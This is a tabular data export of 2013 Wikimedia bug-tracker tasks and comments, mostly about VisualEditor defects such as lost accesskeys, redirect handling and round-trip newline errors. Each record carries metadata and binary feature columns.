+212022,"VisualEditor: Re-used refs wrongly expanded to <ref name=""…"" ></span>",*** Bug 47419 has been marked as a duplicate of this bug. ***,,,1366391720,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-sipzssmp2cg3ixlpwvsi,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+212016,"VisualEditor: Re-used refs wrongly expanded to <ref name=""…"" ></span>","This seems to be Firefox specific.  I am seeing this on a lot of pages in Firefox, but not in Chrome.  Gabriel can reproduce as well.",,,1366388687,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-sipzssmp2cg3ixlpwvsi,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+49397,"[TUX] Cannot confirm outdated translation on ""page"" view","Screenshot of the problem
+
+On the ""page"" view, when an outdated translation is opened, the editor shows a disabled ""save translation"" as the main action.
+
+It should show an enabled ""Confirm translation"" button instead (as it is the case for the ""list"" view).
+
+I found the bug on outdated translations at https://translatewiki.net/w/i.php?title=Special:Translate&group=ext-visualeditor&language=ca&filter=&action=page
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F10395}",High,80.0,1366356360,1392664217.0,PHID-USER-c47vnc2yxmwfvvc4367q,True,,False,PHID-TASK-4ifg7mkk6tb64fjj6xsp,task_description,resolved,True,c1,1,False,False,False,-11,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,0
+49396,[Regression] VisualEditor: Edit tab should have tooltip and accesskey,"Ordinarily there's an accesskey (e.g. alt+shift+E in Firefox) on the ""Edit"" tab in Vector. The accesskey is made known to the user through a tooltip. VisualEditor eliminates this accesskey and tooltip, and adds a new ""Edit source"" tab without an accesskey or tooltip. 
+
+Ideally both the ""Edit"" and ""Edit source"" tab should have accesskeys and tooltips to allow quick switching between the modes for power users.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1366355400,1366745664.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-app5etuemqiwaqysxa3i,task_description,resolved,True,c1,1,False,False,True,-11,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,1,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0
+210823,[Regression] VisualEditor: Edit tab should have tooltip and accesskey,Code is now merged and will go out on Thursday.,,,1366745664,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-app5etuemqiwaqysxa3i,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+210818,[Regression] VisualEditor: Edit tab should have tooltip and accesskey,"Change-Id: If598552fac639da645a8b1273c5fc6028695fcc1
+
+> @@ -777,10 +778,10 @@ ve.init.mw.ViewPageTarget.prototype.setupSkinTabs
+>  			this.veEditUri,
+> -			$caEdit.text(),
+> +			$caEditA.text(),
+>  			$caEdit.attr( 'id' ),
+> -			$caEdit.attr( 'title' ),
+> -			$caEdit.attr( 'accesskey' ),
+> +			$caEditA.attr( 'title' ),
+> +			$caEditA.attr( 'accesskey' ),
+>  			caVeEditSource
+>  		);
+>  	}",,,1366618061,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-app5etuemqiwaqysxa3i,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1
+210812,[Regression] VisualEditor: Edit tab should have tooltip and accesskey,Related URL: https://gerrit.wikimedia.org/r/60241 (Gerrit Change If598552fac639da645a8b1273c5fc6028695fcc1),,,1366617728,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-app5etuemqiwaqysxa3i,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+210805,[Regression] VisualEditor: Edit tab should have tooltip and accesskey,"When mw.ViewPageTarget has its tabLayout in ""replace"" mode (where it replaces the regular Edit tab with a VE-version and adds an Edit source tab) the code explicitly copies over the label, tooltip and accesskey.
+
+It appears this isn't working anymore. I worked a week ago. The code hasn't changed so it looks like something else has broken it.
+
+Moving bug to Integration (perhaps the component should be renamed to ""MediaWiki integration"")",,,1366362135,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-app5etuemqiwaqysxa3i,task_subcomment,,True,c1,1,True,,,-11,,0,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,1,0,0,1,1,0,0,0,0,0,1,0,1,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+49391,VisualEditor: Double-click to overwrrite is broken,"1. Open http://ve-change-marking.instance-proxy.wmflabs.org/wiki/Test
+2. Double-click a word and type a single-char
+   (you see that the selected word continues to show in the interface after the char you typed)
+3. Look at review-and-save.
+4. The word has actually been deleted => the interface is not updated as it should
+
+(4) causes the user (=me in this case) to repeatedly try and delete that word and is instead deleting newer words which will all show up in the diff without realizing that they are being deleted.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1366326300,1366340790.0,PHID-USER-slccyo5rqasgpljxny7g,False,,False,PHID-TASK-qwln7sdc2jjjjhdroshx,task_description,resolved,True,c1,1,True,False,True,-11,,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,1
+210568,VisualEditor: Double-click to overwrrite is broken,Inez fixed this.  Possibly https://gerrit.wikimedia.org/r/#/c/59965/,,,1366340774,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-qwln7sdc2jjjjhdroshx,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+210561,VisualEditor: Double-click to overwrrite is broken,What browser/version are you using? I cannot reproduce in Chrome/Mac or Firefox/Mac - see http://ve-change-marking.instance-proxy.wmflabs.org/srv/mediawiki/index.php?title=Test&diff=45&oldid=44 for a successful run. (Or maybe the code got fixed between the report and my looking at it?),,,1366331132,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qwln7sdc2jjjjhdroshx,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0
+49373,VisualEditor: Round-tripping failure - Extra newline added at end of body,"When loading a page into VE and exporting it again with a minor edit, an extra newline is added at the end. This shows up as a diff in the DOM, and will result in an extra newline in the serialized wikitext.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1366312920,1368557767.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-akpipntp36njlfgkew56,task_description,resolved,True,c1,1,True,False,True,-11,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+209434,VisualEditor: Round-tripping failure - Extra newline added at end of body,"(In reply to comment #3)
+> This might be fixed by bug 48344.
+It most probably is, yes (bug 48344 is only fixed when selser is on, but it's on in production so that's fine). Closing this bug unless and until someone can get a newline to show up again.",,,1368557767,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-akpipntp36njlfgkew56,task_subcomment,,True,c1,1,False,,,-7,,0,1,0,1,0,1,1,0,0,1,1,1,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,1,1
+209430,VisualEditor: Round-tripping failure - Extra newline added at end of body,This might be fixed by bug 48344.,,,1368552325,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-akpipntp36njlfgkew56,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+209425,VisualEditor: Round-tripping failure - Extra newline added at end of body,"Eh, disregard that link- belongs to bug 47419.",,,1366388820,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-akpipntp36njlfgkew56,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+209418,VisualEditor: Round-tripping failure - Extra newline added at end of body,Example edit: https://en.wikipedia.org/w/index.php?title=User:Fluffernutter/Kinne&curid=37842561&diff=551148728&oldid=551148307,,,1366388778,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-akpipntp36njlfgkew56,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+49343,VisualEditor: Lazy-update SurfaceFragment,"For performance reasons, we should lazy-update SurfaceFragments rather than updating them through a transact event handler.
+
+The performance problem occurs when you create a bunch of fragments, then throw them away. The fragments are never actually destroyed, if only because the surface still has references to them because of the event binding. The discarded fragments continue to receive events about transactions and update themselves in response, but no one is using them any more.
+
+Instead, I propose the following:
+
+* The surface should have an ordered array of [transaction, direction] pairs that tracks everything that has ever been applied. This is not the same as the undo/redo stacks: this particular array is append-only
+* Every SurfaceFragment has a property indicating which transaction (by index in the big array) is the last one that it knows about
+* SurfaceFragments do not listen for transact events
+* Instead, every time getRange() is called, the fragment asks the surface whether there are new transactions (with indices greater than the stored index), and if so it translates its range for them
+** For this to work, all internal uses of this.range need to be changed to this.getRange()
+
+This'll make the fragment lazy-update its range, and we won't spend any time updating fragments that aren't being used.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1366245060,1366656030.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-g5zcpdywgfveewvgyndn,task_description,resolved,True,c1,1,False,False,True,-11,,1,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,1,0,1,1,1,1,1,0,1,0,0,1,1,1,1,0,1,0,0,1,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+207909,VisualEditor: Lazy-update SurfaceFragment,Now merged.,,,1366656030,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-g5zcpdywgfveewvgyndn,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+207904,VisualEditor: Lazy-update SurfaceFragment,Related URL: https://gerrit.wikimedia.org/r/60256 (Gerrit Change I9e9818da1baa8319a3002f6d74fd1aad6732a8f5),,,1366630459,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g5zcpdywgfveewvgyndn,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+207898,VisualEditor: Lazy-update SurfaceFragment,Trevor is adding a bunch of .destroy() calls to SurfaceFragment uses to mitigate the problem. These should be removed once this is implemented.,,,1366245134,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-g5zcpdywgfveewvgyndn,task_subcomment,,True,c1,1,False,,,-11,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+49329,VisualEditor: Refuse to load for pages which are redirects,"In advance of fixing bug 47328 (which will probably be after the July release), we need to prevent the broken behaviour outlined by C. Scott in bug 47328 comment 1 - so just refuse to load on a page which is a redirect?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=47328",High,80.0,1366224540,1368884901.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-yop2zgg7fofkoppm6y4x,task_description,resolved,True,c1,1,True,False,True,-11,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0
+207038,VisualEditor: Refuse to load for pages which are redirects,Merged; will go out with wmf5.,,,1368884901,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-yop2zgg7fofkoppm6y4x,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+207030,VisualEditor: Refuse to load for pages which are redirects,Related URL: https://gerrit.wikimedia.org/r/64275 (Gerrit Change I68836156c35c796aa2156c382992b0c105ae34cf),,,1368789913,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-yop2zgg7fofkoppm6y4x,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+207022,VisualEditor: Refuse to load for pages which are redirects,"(In reply to comment #3)
+> It seems like it would be trivial to check whether the page is a redirect and
+> simply disable VisualEditor if so. I'm adding the ""easy"" keyword to this bug.
+
+It gets a bit trickier if the page does not yet exist, though.",,,1368665165,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-yop2zgg7fofkoppm6y4x,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,1,0,1
+207017,VisualEditor: Refuse to load for pages which are redirects,"It seems like it would be trivial to check whether the page is a redirect and simply disable VisualEditor if so. I'm adding the ""easy"" keyword to this bug.",,,1368574217,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-yop2zgg7fofkoppm6y4x,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+207012,VisualEditor: Refuse to load for pages which are redirects,"(In reply to comment #1)
+> For me, if you tried to edit a redirect page, it loads with the redirected
+> page.
+
+Yes, this is current behaviour from Parsoid that will be fixed by fixing bug 47328, but that will leave users with a very confusing blank page. That is why I made this bug. :-)",,,1366384860,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-yop2zgg7fofkoppm6y4x,task_subcomment,,True,c1,1,True,,,-11,,0,0,1,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+207005,VisualEditor: Refuse to load for pages which are redirects,"**dayuloli** wrote:
+
+For me, if you tried to edit a redirect page, it loads with the redirected page.",,,1366371378,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-yop2zgg7fofkoppm6y4x,task_subcomment,,True,c1,1,False,,,-11,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0
+49319,"VisualEditor: Fix ""Report problem"" button, broken by IVStore change","In ve.init.mw.Target.prototype.reportProblem, we pass an HTMLDocument to getDataFromDom(), but this function now takes two parameters, with the IVStore coming first, so it fatals with ""doc is undefined"".
+
+In addition to passing in a store, we'll also need to expand the returned data before transmitting it, per bug 47318.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1366215060,1366652317.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-66lb2jf7kuruqajpygry,task_description,resolved,True,c1,1,False,False,True,-11,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+232502,"VisualEditor: Fix ""Report problem"" button, broken by IVStore change",This is now merged.,,,1366652317,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-66lb2jf7kuruqajpygry,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+232496,"VisualEditor: Fix ""Report problem"" button, broken by IVStore change",Related URL: https://gerrit.wikimedia.org/r/59642 (Gerrit Change I761523d22e51ac560e37ae991d01a6b84224ca40),,,1366216629,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-66lb2jf7kuruqajpygry,task_subcomment,,True,c1,1,False,,,-11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+49318,VisualEditor: Provide a way to expand data using an IVStore for transmission over the wire,"
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1366214880,1367017070.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-u4ghwr7nh5cniopiuid3,task_description,resolved,True,c1,1,False,False,True,-11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+232442,VisualEditor: Provide a way to expand data using an IVStore for transmission over the wire,Related URL: https://gerrit.wikimedia.org/r/60925 (Gerrit Change I4819cf06d1bd0ae4f8b896052e278ca75c9551bf),,,1366925797,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u4ghwr7nh5cniopiuid3,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+49297,VisualEditor: html/* attributes shouldn't be cloned when cloning elements,"We're cloning html/data-parsoid which Subbu tells me messes with selser correctness
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1366155600,1366652364.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-p6hdrbkwl7jmyhc7wdyj,task_description,resolved,True,c1,1,False,False,True,-11,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0
+231012,VisualEditor: html/* attributes shouldn't be cloned when cloning elements,This is now merged.,,,1366652364,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-p6hdrbkwl7jmyhc7wdyj,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+231008,VisualEditor: html/* attributes shouldn't be cloned when cloning elements,Related URL: https://gerrit.wikimedia.org/r/59836 (Gerrit Change I428becf95c70d0ed8af5b0c408e3966dc47fd8c3),,,1366300913,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p6hdrbkwl7jmyhc7wdyj,task_subcomment,,True,c1,1,False,,,-11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+231003,VisualEditor: html/* attributes shouldn't be cloned when cloning elements,"Roan clarified on IRC that this is not happening right now, but about and typeof attributes should not be cloned either. Just adding here to track info. in one place.",,,1366155988,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-p6hdrbkwl7jmyhc7wdyj,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+49296,mw.loader.using should not throw an exception when an optional module doesn't exist,"To give an example:
+mediawiki.page.ready.js runs on mobile (it specifies targets=>mobile) however attempts to lazy load the tablesorter plugin which is not available on mobile (it specifies targets=>desktop)
+
+This currently throws an exception.
+
+Avoiding a bike shedding conversation about whether jquery.tablesorter should be available on mobile, it is wrong to make the assumption that a module will always be available.
+
+Expected: Instead of seeing an exception I would like to allow the user to handle the error themselves - allowing optional modules to die silently.
+
+e.g.
+mw.loader.using( 'jquery.tablesorter', function () {
+	$sortableTables.tablesorter();
+}, function( e ) {
+throw e;
+});
+
+or 
+mw.loader.using( 'jquery.tablesorter' ).done( function () {
+	$sortableTables.tablesorter();
+});
+
+Another example of this being a problem is on the edit page which asumes mediawiki.action.edit is available:
+
+mw.loader.using(""mediawiki.action.edit""
+
+Currently there is a hack in MobileFrontend to get around this [1]
+
+
+[1] https://gerrit.wikimedia.org/r/gitweb?p=mediawiki/extensions/MobileFrontend.git;a=blob;f=includes/skins/SkinMobile.php;h=27ab4ef44fc138566bbf3e1ab32cd5af20daf246;hb=HEAD#l241
+
+--------------------------
+**Version**: 1.22.0
